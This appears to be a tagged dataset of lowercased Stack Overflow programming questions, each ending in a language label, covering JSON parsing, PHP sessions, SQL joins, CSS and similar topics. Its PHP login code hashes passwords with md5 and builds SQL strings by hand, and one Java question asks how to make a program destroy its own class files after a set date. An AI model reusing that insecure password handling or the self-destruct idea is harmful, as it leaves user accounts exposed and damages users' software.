jsonexception: unterminated string  this is my code:   <pre><code>jsonobject msgobject = jsonobject.fromobject(msg); </code></pre>   i then get a jsonexception:   <pre><code>net.sf.json.jsonexception: unterminated string at character 239 of {...} </code></pre>   what am i doing wrong     thanks.    edit:<br> i create a test.txt file:<br><br> <code>{ source : a\n }</code><br><br> the test method is this:<br><br> <code> scanner cin = new scanner(new file( test1.txt )   utf-8 );<br> jsonobject msgobject = jsonobject.fromobject(msg);<br> </code><br> i got this:<br> key:source&amp;value:a,java
code will never be executed warning  in my <a href= https://stackoverflow.com/questions/41646178/application-terminating-early-because-of-gpuimageaveragecolor-block >previous question</a>  i asked why my application was terminating early. it turns out i m getting this warning on one of the lines below and that may help me solve my problem.     here s the code:   <pre><code>nsmutablearray *redvalues = [nsmutablearray array]; nsuinteger redvalueslength = [redvalues count]; float totalone  diffforaverage; int amount = 1; __block int counter = 0; nsinteger j;  gpuimagevideocamera *videocamera = [[gpuimagevideocamera alloc] initwithsessionpreset:avcapturesessionpreset640x480 cameraposition:avcapturedevicepositionback]; videocamera.outputimageorientation = uiinterfaceorientationportrait;  gpuimageaveragecolor *averagecolor = [[gpuimageaveragecolor alloc] init]; [averagecolor setcoloraverageprocessingfinishedblock:^(cgfloat redcomponent  cgfloat greencomponent  cgfloat bluecomponent  cgfloat alphacomponent  cmtime frametime)  {       nslog(@ %f   redcomponent);      [redvalues addobject:@(redcomponent * 255)];  }];  [videocamera addtarget:averagecolor]; [videocamera startcameracapture];  dispatch_after(dispatch_time(dispatch_time_now  27 * nsec_per_sec)  dispatch_get_main_queue()  ^{     [videocamera stopcameracapture]; });  totalone = [redvalues[25] floatvalue]; float average = totalone / amount;  for (j = (counter + 25); j &lt; (redvalueslength - 25); j++) {     diffforaverage = average - [redvalues[j + 1] floatvalue];      if (diffforaverage &gt; -1 &amp;&amp; diffforaverage &lt; 1)     {         totalone += [redvalues[j + 1] floatvalue];         amount++;         [arrayone addobject:[nsnumber numberwithint:(j - 25)]];         counter++;     }      else     {         if (arrayonelength &gt;= 15)         {             break;             counter++; // warning occurs here         }          else         {             [arrayone removeallobjects];             totalone = [redvalues[j + 1] floatvalue];             counter++;         }     } } </code></pre>   why would the commented line above never be run  is it a problem with my for loop  or my if statement  or something else entirely,objective-c
how to print value of a array refferd by another array key  here is my code     <pre><code>//i have set formdata array to session array here $_session[ form_data ] = $formdata = array();             //here i have set a value to formdata array $formdata[0] =  insert data done ;  //i want to accually echo the value of formdata[0] - key s value         $var = $_session[ form_data ][$formdata[0]];  var_dump($var); </code></pre>   i m new to php and my requirement here is to build a form validation and send the validation data back to the form. so i use the session to send data to one php file to another. i think that s the only way i can send data from one page to another.,php
method signature - difference between testmethod<t>() and testmethod(type t)  what is the difference between the following two method signatures:   <pre><code>public static void test&lt;t&gt;() </code></pre>   vs   <pre><code>public static void test(type t) </code></pre>   i know that the second one allows a type to be passed to the method but i am not clear on exactly what the first one is doing differently.,c#
asp.net validation  i have a little problem with the validation in one form the form is composed by two taqs. there is a  save  button in each tap (is the same control for both) and saves the form info. there are validation controls in one tab but not in the second. when we try to save the info from the second tab  and the info has not been filled in the first tab  the validators fire  and nothing happends  but because this validators are shown in the other tab  the end user might be thinking that the operation has been completed  instead  i would like to show a msgbox telling the user about the errors in the other tab. how do i know that the validators in the other tab have been fired  and display the error message when the button is clicked     many thanks in advanded guys,asp.net
return highest value of a variable(xcode)  objective c / xcode    i have a variable  consecutive wins   which i need to use elsewhere for  highest # of consecutive wins . so i need to take the highest value of variable  consecutive wins and only update when a higher yet value comes in.     the variable that i m using is an  int     is there a highest value of  variable name       update:    for what it s worth to others:    i made a  consecutive wins  and a  highest # of consecutive wins   everytime my  if  conditions are met these are set to be equal:    if (conswins > highestconswins) {highestconswins = conswins};,objective-c
list.indexof returns 1 c#  <code>indexof</code> is returning 1 for the last element of the list. why  <br/><strong>this code is not used by me . i am just giving you guys an idea about my asked context through the code mentioned below</strong> e.g. list:   <pre><code> list&lt;int&gt; abc = new list&lt;int&gt;();  abc.add(1);  abc.add(2);  abc.add(41); // i.e index 0 hold 1 index 1 hold 2 and index 3 hold 41 //abc[0] = 1; //abc[1] = 2; //abc[3] = 41; </code></pre>   then checking index like:   <pre><code>foreach (int i in abc) {     //for first two index[0 1] indexof() works fine but when foreach loop hole i=41       then indexof() returns 1 i.e is index=1 why       int index = abc.indexof(i); } </code></pre>,.net
python: fast way to compute the average of several (same length) lists   is there a simple way to calculate the mean of several (same length) lists in python  say  i have <code>[[1  2  3]  [5  6  7]]</code>  and want to obtain <code>[3 4 5]</code>. this is to be doing 100000 times  so want it to be fast.,python
adding asp.net server side controls through javascript dynamically  is there a way to add asp.net server side control dynamically on the webpage without causing <strong>postback</strong>. like can i add a calender control dynamically on a button click and handle calender events to do some other work....    thanks,asp.net
swfobject is not defined in server  my problem is that when i test my page locally it works fine. but when i upload my page to the server gives me the error: swfobject is not defined    i have read about the problem but i couldn t find any topic where this happens.    my code is the next:   <pre><code>&lt;script type= text/javascript  src= swfobject.js &gt; &lt;/script&gt;  &lt;script type= text/javascript &gt;  var s1 = new swfobject( imagerotator.swf   rotator   940   368   7    ); s1.addvariable( file   madrid.xml ); s1.addvariable( width   940 ); s1.addvariable( height   368 ); s1.addvariable( transition   blocks ); s1.addvariable( shownavigation   false ); s1.addparam( wmode   opaque ); s1.write( slider ); &lt;/script&gt;  </code></pre>   things that i did:  - i revised if i had the swfobject.js in the right place: it s ok i can navigate following the link in firebug.,html
is there a way to have stroke for uifont  i m using mkmap with overlay. the overlay display text. i need the text to have  stroke  effect. any clue    <pre><code>[t drawatpoint:cgpointmake(0 30) withfont:[uifont fontwithname:@ helvetica-bold  /* arial */ size:(3 * mkroadwidthatzoomscale(zoomscale))]       ]; </code></pre>,ios
how can i parse xml file without < xml version=1.0> for android  it is possible with sax  dom  xmlpull parse a xml file with the following header:    <pre><code>&lt;jsonresult xmlns:i= http://www.w3.org/2001/xmlschema-instance  xmlns= http://schemas.datacontract.org/2004/07/system.web.mvc &gt; &lt;contentencoding xmlns:d2p1= http://schemas.datacontract.org/2004/07/system.text  i:nil= true /&gt; &lt;contenttype i:nil= true /&gt; &lt;data xmlns:d2p1= http://schemas.datacontract.org/2004/07/proximocolectivo.entities  i:type= d2p1:featurecollection &gt; </code></pre>   o should always start with <code>&lt; xml version = 1.0&gt;</code> to do so.,android
odd browser compatibility issue with ie/firefox  i have a login script based on php and javascript. i couldn t figure out for the longest time why it would work in chrome and safari but not in firefox or internet explorer. i finally figured out the issue is with the html  instead of having the regular submit button i have an image for submit. and simply changing type= image  to type= submit  resolves the issue. does anyone know why this is and if there s a compatible way to write the following    this works:    <code>&lt;input name= dologin  type= submit  style= margin-left:90px;  id= dologin3  value= login &gt; </code>    this does not:    <code>&lt;input name= dologin  type= image  src= login-btn.png  style= margin-left:90px;  id= dologin3  value= login &gt; </code>,html
disable jndiproperty source when using spring @value annotation or environment.getproperty  i have a spring app configured to have a property file configuration as @propertysource({              classpath:  + app.propertiers})    i have classes that looks up values from here using the @value annotation. however  everytime i run my junit test without a java application server (websphere) it takes a while to look up the value  like 1 second for each field. turning on debug mode revealed it is the jndi lookup causing it.   <pre><code>2017-11-20 22:28:13 debug jnditemplate:150 - looking up jndi object with name [java:comp/env/property_required] 2017-11-20 22:28:13 debug jndilocatordelegate:101 - converted jndi name [java:comp/env/property_required] not found - trying original name [property_required]. javax.naming.namenotfoundexception: name [property_required] is not bound in this context. unable to find [property_required]. 2017-11-20 22:28:13 debug jnditemplate:150 - looking up jndi object with name [property_required] 2017-11-20 22:28:13 debug jndipropertysource:90 - jndi lookup for name [property_required] threw namingexception with message: name [property_required] is not bound in this context. unable to find [property_required].. returning null. 2017-11-20 22:28:13 debug propertysourcespropertyresolver:151 - found key  property_required  in [class path resource [application.properties]] with type [string] </code></pre>   i tried creating a spring.properties file and added this value spring.jndi.ignore=true  but no success.  please suggest.,java
splash screen at the beginning of app  i need some help. i have a problem with my app. i want to put a splash screen at the beginning. i have done it before. i have made the code  the layout  and all works perfectly in a new project! when i put the code i run it on my phone and the layout in my application  the application runs perfectly without any errors. but when i open it on my phone  it stops and it doesn t open it!!! can you suggest something      my android manifest.xml:   <pre><code>        android:name= .activities.splashscreenactivity          android:label= @string/splash &gt;         &lt;intent-filter&gt;             &lt;action android:name= android.intent.action.main  /&gt;             &lt;category android:name= android.intent.category.launcher  /&gt;         &lt;/intent-filter&gt;     &lt;/activity&gt; </code></pre>,android
question on view controller s view  when we access view controller s view property  does it always represent the entire screen or it can be partial      indirectly speaking  does a view controller can have multiple view properties,objective-c
in fire bug i could see global namespace  is there any other way to see it   i was using firebug to check the number of variables created in the global namespace. now firebug is not available.             so please tell me  is there any other way to check it     yours sincerely,javascript
would like to know how these works (swap function and sort function in c)  i m fairly new to c and i would like to understand these two functions:    swap function:   <pre><code>void swap(int a  int b) {     int temp=a;     a=b;     b=temp;      printf( in swap\n );     printf( a: %d\n   a);     printf( b: %d\n   b); } </code></pre>   usage:   <pre><code>int a=5  b=7; swap(a  b); </code></pre>   sort function:   <pre><code>void sort(int values[]  int n) {     for (int i=1; i &lt; n; i++) {         int element=values[i];         int j=i;         while ((j &gt; 0) &amp;&amp; (values[j-1] &gt; element)) {             values[j]=values[j - 1];             j--;             values[j]=element;         }     }     return; } </code></pre>   usage:   <pre><code>int array={9  1  8  5  3  2  5}; int size=7; sort(array  size); </code></pre>   my question is  why does the swap function didn t return with the values swapped  if the values passed to the swap function takes different addresses (i guess) so that the values outside the function aren t swapped  then why does the sort function return the array sorted  does this mean that the values in the array passed to the sort function has the same addresses,c
server object null   <strong>when i start my application i get this error:</strong>   <pre><code> system.nullreferenceexception was unhandled by user code  message=objektreferensen har inte angetts till en instans av ett objekt.  source=app_global.asax.avoeinwy  stacktrace:  vid asp.global_asax.buildmessage() i e:\webb\adilimo\papp\web\papplimited_com\global.asax:rad 400  vid asp.global_asax.application_error(object sender  eventargs e) i e:\webb\adilimo\papp\web\papplimited_com\global.asax:rad 46  vid system.eventhandler.invoke(object sender  eventargs e)  vid system.web.httpapplication.raiseonerror()  innerexception: </code></pre>   <strong>this is where it happens:</strong>   <pre><code>       dim strmessage as new stringbuilder ....... (lots of  strmessage.append() )         strmessage.append( &lt;tr&gt; )         strmessage.append( &lt;td width=  100   align=  right   bgcolor=  #eeeeee   class=  header1   nowrap valign=  top  &gt;details&lt;/td&gt; )  strmessage.append( &lt;td bgcolor=  #ffffff   class=  basix  &gt;  &amp; server.getlasterror.innerexception.tostring() &amp;  &lt;/td&gt; )         strmessage.append( &lt;/tr&gt; ) </code></pre>   <strong>here is the stack trace:</strong>   <pre><code>   vid asp.global_asax.buildmessage() i e:\webb\adilimo\papp\web\papplimited_com\global.asax:rad 400    vid asp.global_asax.application_error(object sender  eventargs e) i e:\webb\adilimo\papp\web\papplimited_com\global.asax:rad 46    vid system.eventhandler.invoke(object sender  eventargs e)    vid system.web.httpapplication.raiseonerror() </code></pre>   any suggestions  i dont really know what to do when it seems that the server object is null. :(    here is an image showing that i am getting an nullreference on the line where the server object is clearly not null!    <img src= https://i.stack.imgur.com/vrvhy.jpg  alt= enter image description here >,asp.net
mysql inner join have same row as the selected table  hello i have two tables. 1)questions 2)users    they both have <code>id</code> row. now how can i to only read the <code>id</code> row from table questions.   <pre><code>select id        title        body        x.cdate        tags        pic        username    from asks x   join accounts y     on y.id = x.userid   order      by x.cdate desc </code></pre>   that is what i tried to do. and its didn`t work.,mysql
jquery function not firing at all  real dumb question.  i figured i would have gotten this straight by now  but i am obviously missing something.  i want my function to fire as soon as the page loads to check the value of a variable and make a button appear or dissapear based on that value.  but the function i wrote never gets called.  i place the function inside a $.load() and $(document).ready jquery call.  how can i get this function to fire    <pre><code> $(document).ready(function () {         debugger;                 (function () {                    debugger;         var $b =  &lt;%=toggle %&gt; ;         var buttontog = $( #test1 );         var buttontog1 = $( #submit1 );         if($b== 1 )         {             debugger;             buttontog1.css({                 display:  block              })             buttontog.css({                 display:  none              });         }         else if($b== 0 )         {             debugger;             buttontog1.css({                 display:  none              })             buttontog.css({                 display:  block              });            }                    });        ...     }); </code></pre>   as you can see  i have multiple debugger statements in there that just don t get hit...  when i hit $(document).ready and i get into the first debugger statement  it simply doesn t touch the next function   i don t get it   it goes right over it   can you not call a function inside the .ready(function())   definitly need to get some research done.,jquery
for loop not storing variables   this is my code:   <pre><code>&lt;html&gt; &lt;head&gt;     &lt;title&gt;temperature information&lt;/title&gt; &lt;/head&gt; &lt;body&gt;     &lt;script&gt;     //declare variables         var br =  &lt;br /&gt; ;         var es =    ;         var counter;         var temp = [counter];         var max = 0;         var min = 0;         var temptot;         var tempave;         //loop         for (counter = 1; counter &lt;= 5; counter++) {             temptot = temptot + temp[counter];             temp[counter] = prompt( enter the temperature for noon on day #  + counter es);             temp[counter] = parsefloat(temp[counter]);             if (temp[counter] == temp[1]){                 temp[counter] = max;                 temp[counter] = min;             }else if (temp[counter + 1] &gt; temp[counter] &amp;&amp; temp[counter] != temp[1]){                 temp[counter] = max;             }else if (temp[counter + 1] &lt; temp[counter] &amp;&amp; temp[counter] != temp[1]){                 temp[counter] = min;             }             temptot = temptot + temp[counter];         }         tempave = temptot/4;         //display info         document.write( the average temperature is:   + tempave + br);         document.write( the maximum temperature is:   + max + br);         document.write( the minimum temperature is:   + min + br);     &lt;/script&gt; &lt;/body&gt; </code></pre>       it is supposed to take info for the temperature for 5 days  display the average  max  and min. everything seems to run fine  but it only displays the outcomes with a null. am i doing something wrong  i feel like i am thinking too much about this.,javascript
after a fixed date change the code  if i have a .jar file with all the .class files  and i want that after the 15th of december the program must not start.    so  if i open that .jar on the 16th of december the program will changes a part of the code o destroys a .class file.    for example:   <pre><code>calendar today = calendar.getinstance();   calendar expires = calendar.getinstance();   expires.set(2013 11 15 0 0); if(today.after(expires)) {       *** code that changes a part of the code or destroys a .class file *** }  </code></pre>   is it possible     edit: the system.exit(1) is not an option.    edit2: if i have a .jar file with all the .class files  and i want that after the 15th of december the program must not start - <strong>anymore</strong> -.,java
is there a class for holding a file system path   in the .net base class library there is a class system.io.path for doing common operations on strings representing a file system path. however  what i need is <b>a class that encapsulates a path</b> instead  so i get type-safety and a possibly shorter notation of path operations. i m thinking of a .net equivalent of <a href= http://www.boost.org/  rel= nofollow noreferrer >c++ boost s</a> path class. does such a class exist       <b>update</b>: i m not necessarily looking for a class that can hold <b>both file and directory paths</b>. however  as a file system path can be used for pointing to both  i find it obvious that same class can be used.    <b>conclusion</b>: <em>directoryinfo</em> and <em>fileinfo</em> come close to what i m looking for. however  they seem to be intended as a representation of a file or directory  rather than a file or directory path. this makes it <b>difficult to do path operations</b>  such as <a href= https://stackoverflow.com/questions/2026991/combining-a-directoryinfo-and-a-fileinfo-path >combining a directory path and a relative file path</a>  so i think i ll write a class that encapsulates a path.,.net
viewstate storing data   in asp.net  viewstae is it client variable or server variable  how much data can view state is store. i mean if i declare a view state  when more than one user accessing same page is the view state data can conflict or not,asp.net
multiple input type= file  validation  i ve created a functionality for user(s) to be able to upload multiple images to a website with different <code>html</code> input tags like so:   <pre><code>&lt;input type= file  name= photos[]  required&gt; &lt;input type= file  name= photos[] &gt; &lt;input type= file  name= photos[] &gt; &lt;input type= file  name= photos[] &gt; &lt;input type= file  name= photos[] &gt; </code></pre>   the idea is to allow only a maximum of 5 images to be uploaded. i know i can just do <code>&lt;input type= file  name= photos[]  multiple&gt;</code> but this doesn t allow them to choose files from different folders from their device  hence the reason why i have multiple <code>&lt;input type= file &gt;</code>.    i know this pattern works well with radios and checkboxes  but the issue i m having now is to validate the field as <strong>one</strong> and not multiple inputs.    i know there are javascript/jquery libraries i can use to achieve this  but i really do not want to use any.    is there a workaround towards achieving this,html
i need a script to send email reminders for tasks that are due the next day  i have a script that allows site users to save tasks to the system using a jquery-ui date picker.  this due date is then stored in the database as a timestamp.  the timestamp is based on the users local timezone  per jquery-ui documentation.    i have a daily cron that runs a script that gets all the tasks from the database that haven t had reminders sent  and checks to see if the due date of each task is tomorrow  or in the past  and sends an email reminder to the owner that a task is coming up.    the problem i m having is that some tasks are having reminders sent a day early  like instead of the task being due tomorrow  the task is actually due the day after tomorrow.    here s the code:   <pre><code>&lt; php     foreach ($this-&gt;tasks as $task) {         // get owner guid of task         $owner_guid = $task-&gt;owner_guid;         // get owner entity of task         $owner = getentity($owner_guid);         // get owner timezone         $owner_timezone = $owner-&gt;timezone;         // if owner timezone not set  set it to default.         if (!$owner_timezone) {             $owner_timezone =  america/new_york ;         }         // get timestamp of task due date in users timzone         $due_timestamp_user_timezone = $task-&gt;due_date;         // check if task has a due date.         if ($due_timestamp_user_timezone) {             // convert server time to user timezone.             $dt = new \datetime();             $dt-&gt;settimestamp(time());             $tz = new \datetimezone($owner_timezone);             $dt-&gt;settimezone($tz);             $server_today_timestamp = $dt-&gt;format( u );             $server_today_date = date( ymd   $server_today_timestamp);             $dt-&gt;modify( +1 day );             $server_tomorrow_timestamp = $dt-&gt;format( u );             $server_tomorrow_date = date( ymd   $server_tomorrow_timestamp);             $task_due_date = date( ymd   $due_timestamp_user_timezone);             if (($server_tomorrow_date == $task_due_date) || ($server_today_date &gt;= $task_due_date)) {                 // send reminder here             } </code></pre>,php
what does this enum mean   i saw this line of code today and had no idea what it does.    <pre><code>typedef enum {   someoptionkeys = 1 &lt;&lt; 0 //   } someoption; </code></pre>   some usage or example would be helpful. thanks!,c
pre-loading images using javascript  i m using javascript to make a simple image viewer bar for my site (asp.net)  i have 3 pictures displayed at each time and user can go to next or previous images using two buttons  also when users mouse overs on each picture  a larger version of the selected image is displayed on a separate div.     the only problem is that when users overs the images for the selected time  there is a delay before displaying the large image (as the big image is being loaded for the first time). how can i solve this problem  is there any way that i can initially load all large images (of course they should not be visible) what are my options     is there any way i can do it purely with javascript  i don t want to use jquery,javascript
joining array values into string  i have a php array with multiple objects. i m trying to join values from a certain key into one string separated by commas. output from var_dump:   <pre><code>array (     [0] =&gt; stdclass object         (             [tag_id] =&gt; 111             [tag_name] =&gt; thing 1             [tag_link] =&gt; url_1         )      [1] =&gt; stdclass object         (             [tag_id] =&gt; 663             [tag_name] =&gt; thing 2             [tag_link] =&gt; url_2         )  ) </code></pre>   the string needs to be $string =  thing 1 thing 2 . i tried using a foreach loop  but i m completely stuck. could anyone help out,php
how to add the constraints to a uimageview in objective-c  i am developing an app.while adding the constraints i found error in that. i am doing in ipad 12.9 and also in ipad 9.7 .so i set  the images in 12.9 screen screen .that means in assests folder i stored the two images in that.    1.for background image with of 1366*1024-1x 2732*2048-2x 2.a image with of 160*491-1x 321*985-2x    so how to add the constraints on the background image and a image. i need to view at correct position.    <a href= https://i.stack.imgur.com/aj7cv.jpg  rel= nofollow noreferrer >i have done on  12.9 screen size.how to add constraints in xcode for this .</a> please reply....,ios
sql nested query with alias  can anyone explain how this query executes and is it a correlated nested query    <pre><code>select distinct id  from activity ac3  where ac3.activity_id = 151 and ac3.id in     (select ac2.id from activity ac2 where ac2.activity_id = 150) </code></pre>,sql
mysql select winner based on two columns  how would the query look like (mysqli)  if i have a number 40  and have to find the row that acually purchased ticket 40  based on start and end column     in this case  row with id 19 would be the correct answer  because 40 is over start  and lower than 40. the player purchased ticket 2 to 1000  and won.    <strong>how will the query be </strong>    database structure:    <a href= https://i.stack.imgur.com/sxmwp.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/sxmwp.png  alt= enter image description here ></a>,mysql
import data from excel spreadsheet or cvs into mysql  i have a spreadsheet which really has only one complicated table. i basically convert the spreadsheet to a cvs and use a groovy script to generate the insert scripts.    however  i cannot do this with a table that has 28 fields with data within some of the fields on the spreadsheet that make importing into the cvs even more complicated. so the fields in the new cvs are not differentiated properly or my script has not accounted for it.    does anyone have any suggestions on a better approach to do this  thanks.,mysql
pure css speech bubble with border  so i m working on a pure css speech bubble <a href= http://bit.ly/zlnngm >http://bit.ly/zlnngm</a> but i d like to have the border surround the entire speech bubble as seen here <a href= http://bit.ly/zugezi >http://bit.ly/zugezi</a> . i m using the following markup;   <pre><code>&lt;div class= speech-bubble &gt;&lt;p&gt;this is a speech bubble created using only css. no images to be found here...&lt;/p&gt;&lt;/div </code></pre>   and i ve so far styled it as follows;   <pre><code>.speech-bubble { margin: 3em; width: 320px; padding: 10px; background-color:rgba(250  250  250  0.95); color: #666; font: normal 12px  segoe ui   arial  sans-serif; -moz-border-radius: 10px; -webkit-border-radius: 10px; border-radius: 10px; border: 10px solid rgba(0 0 0 0.095); }  .speech-bubble:before { content:   ; border: solid 20px transparent; /* set all borders to 10 pixels width */ border-top: 0; /* we do not need the top border in this case */ border-bottom-color:rgba(250  250  250  0.95); width: 0; height: 0; overflow: hidden; display: block; position: relative; top: -30px; /* border-width of the :after element + padding of the root element */ margin: auto; }  .speech-bubble p { margin-top: -15px; font-size: 1.25em; } </code></pre>   as you can see i can only add a border to the content box (.speech-bubble) but not the callout (.speech-bubble:before) my border will also need to be transparant. not sure if this matters but it s something to bear in mind. any advice,css
is it possible to create a multiprocess ui in .net   is it possible to create a windows application in .net that is similar to chrome.    by this i mean that each screen/tab is a process.,.net
can someone please explain what conf is in processing/java and what its uses are   i m making a game using java in processing thats like space invaders  i was having a look around for help with a few issues i m having and found a set of code that is using conf  i have no idea what it is and google searches seem to be coming up blank. i can tell it s a built in method because it has to be called at the top and initialized. what is it and why is it used in java/processing      it s to be found in this coding: <a href= http://www.openprocessing.org/sketch/6572  rel= nofollow >http://www.openprocessing.org/sketch/6572</a>    it s literally used constantly throughout so i m really curious to have the concept explained to me  sorry if this is a very simple question but i cant find anything online,java
nullpointerexception during getsize  i am in trouble. i am wondering how to fix it about 2 hours and i still know nothing. can you help me guys   i ve written this code once again but it doesn t change anything  still do not know where did i mistake.    <pre><code>public class historia { public arraylist&lt;string&gt; tablica;  public void odczyt() throws ioexception  classnotfoundexception {     objectinputstream objectinputstream = new objectinputstream(new fileinputstream( skarbonka.bin ));     tablica = (arraylist&lt;string&gt;) objectinputstream.readobject();     objectinputstream.close();     int size = tablica.size();     for(int i = 0; i&lt;size; i++){         system.out.println(tablica.get(i));     }  } </code></pre>   there s second class:   <pre><code>public class zapis { private gregoriancalendar gregoriancalendar = new gregoriancalendar(); private scanner scanner = new scanner(system.in); private historia dodaj = new historia();  public void plik() throws ioexception {     dane dane = new dane();     objectoutputstream objectoutputstream = new objectoutputstream(new fileoutputstream( skarbonka.bin ));     arraylist&lt;string&gt; arraylist = new arraylist&lt;string&gt;();     dane.kwota = scanner.nextint();     dane.dzien = string.format( %tc   gregoriancalendar);     int g = dodaj.tablica.size();     for(int i=0; i&lt;g; i++){         arraylist.add(  );         arraylist.set(i  dodaj.tablica.get(i));     }      arraylist.add(dane.tostring());     objectoutputstream.writeobject(arraylist);     objectoutputstream.close(); } </code></pre>   }    <a href= https://i.stack.imgur.com/k2bt6.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/k2bt6.jpg  alt= there&#39;s the error ></a>    any ideas  thanks for help!,java
declaring an array size of an instance array in a method  i m trying to declare the array size of the instance array in a method. is there any way to do it  thank you.    <pre><code>package javaapplication2;  public class javaapplication2 {  static int size; static int x[] = new int[size];  public static void main(string[] args) {      setsize(5);     for (int i = 0; i &lt; 5; i++) {         x[i] = i;     }  }  static void setsize(int i) {      size = i;  }  } </code></pre>   here s the updated codes. i m getting an array out of bounds error. i m assuming because the size did not get declared even like this:    <pre><code>package javaapplication2;  public class javaapplication2 {  static int x[];  public static void main(string[] args) {      setsize(5);     for (int i = 0; i &lt; 5; i++) {         x[i] = i;     }  }  static void setsize(int i) {      x = new int[i];  }  } </code></pre>   i m getting this error. exception in thread  main  java.lang.arrayindexoutofboundsexception: 0 at javaapplication2.javaapplication2.main(javaapplication2.java:13) java result: 1,java
multiple where criteria or confusion  i’ve got the following problem sql query i need help with as i can’t get my head around it.    i’m trying to retrieve a list of lessons for my booking table  the only thing is i need to make sure that the lessons are still valid as i have an override table which can do two things.   <ol> <li>when a class goes on a trip  i want to override the lessons from displaying  so i have included a start date and and end date. if the lessons fall into this range than i don’t want to retrieve the lessons.</li> </ol>   2 i have a isnomorelesson boolean field in my override table. if class has finished  i want to permanently exclude tripping this previously booked lessons   <pre><code>select distinct lessonsubset.subjectname   lessonsubset.day   lessonsubset.starttime   lessonsubset.endtime   lessonsubset.fk_periodinformationid   from lessonsubset  left join overridelesson on  (lessonsubset.fk_resourceid = overridelesson.fk_resourceid and  lessonsubset.fk_periodinformationid = overridelesson.fk_periodinformationid)   where lessonsubset.fk_resourceid = ‘xabcde  and lessonsubset.day = ‘mon  and (overridelesson.isnomorelesson != 1 or booking_date &lt; overridelesson.enddate and booking_date&lt; overridelesson.startdate)   order by  lessonsubset.day asc </code></pre>,sql
rfc: usage of the  var  type  i was conversing with a colleague of mine the other day about the usage of the var type in .net. we were discussing the when s and when not s  in regards to its proper usage. one of the key points we both came away with is that we are seeing more and more of its use in areas where it shouldn t be (at least in our opinion).    for instance  in a situation where generics and anonymous types and methods are used  var makes sense and is a welcomed addition. but does it make sense to use var in areas where a variable type is known  and doesn t change throughout its scope     i  myself  made heavy use of var back in the days when linq was all the rave and fashion  as there was little choice for anything else. however now i see (more and more often) the usage of var everywhere. serving (it seems) the role of a replacement  rather an addition.    so if i am making a call to a method that returns a string  i will define the variable that captures that return as type string. so why are we seeing more and more developers using var in that instance  is it laziness  habit  or something else i am not seeing  this is  after all .net... not java.    am i wrong that this is a practice to be avoided  is there a good reason to use <code>var</code> in this context that i don t know about     i would really be interested in what other experienced developers have to say. especially if they go  way back  to the early days (i.e. cobol  fortran  assembly  borland c  etc.) like i do.,.net
how to replace first word of each line in a file with the corresponding element from a list in python   i have a file like this:   <pre><code>research_t 1:1 2:1 3:1 5:1 13:1  computer_sc 14:1 19:1 21:1 23:1 25:1 26:1 29:1 36:1 44:1 49:1 50:1 51:1 52:1 57:1 68:1 70:1 71:1 75:1 79:1  res_computer 1:1 2:1 3:1 5:1 7:1 8:1 9:1 10:1 11:1 12:1 13:1 15:1 16:1 17:1 18:1 20:1 21:1 22:1 fin_res 23:1 24:1 26:1 28:1 29:1 30:1 32:1 33:1 34:1 35:1 36:1 38:1 39:1 40:1 41:1 43:1 45:1 47:1 48:1 54:1 55:1 56:1 59:1 63:1 64:1 65:1 66:1 72:1 78:1 80:1  computer_sc_field 2:1 37:1 </code></pre>   i want to read the file line by line and check it like if the first word in the line has  <code>computer</code>  in it  then i want to replace the whole first word by <code>1</code>  else replace it by <code>-1</code>.    i was doing something like this:   <pre><code>with open( file.txt    r ) as f:     wordlist = [line.split(none  1)[0] for line in f]     s =  computer      for i in range(len(wordlist)):         if s in wordlist[i]:             wordlist[i] = str(1)         else:             wordlist[i] = str(-1) </code></pre>   now  i get a list: <code>[-1  1  1  -1  1]</code>. but how do i replace the first words of each line in the file with the corresponding element of this list,python
no email after login  after registration you go to the main page. nearby there is a button for settings. in it  i want to deduce    login:   <pre><code>if (isset($_post[ login_user ])) {   $username = mysqli_real_escape_string($db  $_post[ username ]);   $password = mysqli_real_escape_string($db  $_post[ password ]);    if (empty($username)) {     array_push($errors   username is required );   }   if (empty($password)) {     array_push($errors   password is required );   }    if (count($errors) == 0) {     $password = md5($password);     $query =  select * from users where username= $username  and password= $password  ;     $results = mysqli_query($db  $query);     if (mysqli_num_rows($results) == 1) {       $_session[ username ] = $username;       $_session[ email ] = $email;       $_session[ success ] =  you are now logged in ;       header( location: index.php );     }else {         array_push($errors   wrong username/password combination );     }   } } </code></pre>   settings   <pre><code>&lt; php    session_start();     if (!isset($_session[ username ])) {     $_session[ msg ] =  you must register ;     header( location: login.php );   }   if (isset($_get[ logout ])) {     session_destroy();     unset($_session[ username ]);     header( location: login.php );   }  &gt; &lt;!doctype html&gt; &lt;html&gt; &lt;head&gt;     &lt;title&gt;home&lt;/title&gt;     &lt;link rel= stylesheet  type= text/css  href= css/style.css &gt; &lt;/head&gt; &lt;body&gt;  &lt;div class= header &gt;     &lt;h2&gt;настройки&lt;/h2&gt;     &lt;a href= settings.php &gt;settings&lt;/a&gt;&lt;/span&gt; &lt;/div&gt; &lt;div class= content &gt;     &lt;!-- notification message --&gt;     &lt; php if (isset($_session[ success ])) :  &gt;       &lt;div class= error success  &gt;         &lt;h3&gt;           &lt; php              echo $_session[ success ];              unset($_session[ success ]);            &gt;         &lt;/h3&gt;       &lt;/div&gt;     &lt; php endif  &gt;       &lt; php  if (isset($_session[ username ])) :  &gt;         &lt;p&gt;username &lt;strong&gt;&lt; php echo $_session[ username ];  &gt;&lt;/strong&gt;&lt;/p&gt;         &lt;p&gt;email &lt;strong&gt;&lt; php echo $_session[ email ];  &gt;&lt;/strong&gt;&lt;/p&gt;         &lt;p&gt; &lt;a href= index.php logout= 1   style= color: red; &gt;logout&lt;/a&gt; &lt;/p&gt;     &lt; php endif  &gt; &lt;/div&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>   registration   <pre><code>&lt; php session_start();  // initializing variables $username =   ; $email    =   ; $errors = array();   // connect to the database $db = mysqli_connect( localhost    root        practice );  // register user if (isset($_post[ reg_user ])) {     $username = mysqli_real_escape_string($db  $_post[ username ]);     $email = mysqli_real_escape_string($db  $_post[ email ]);     $password_1 = mysqli_real_escape_string($db  $_post[ password_1 ]);     $password_2 = mysqli_real_escape_string($db  $_post[ password_2 ]);      if (empty($username)) { array_push($errors   требуется имя пользователя ); }     if (empty($email)) { array_push($errors   требуется email ); }     if (empty($password_1)) { array_push($errors   password is required ); }     if ($password_1 != $password_2) {         array_push($errors   passwords do not match );     }      $user_check_query =  select * from users where username =  $username  or email =  $email  limit 1 ;      if ($user) {         if ($user[ username ] === $username) {             array_push($errors   already have such a user );         }          if ($user[ email ] === 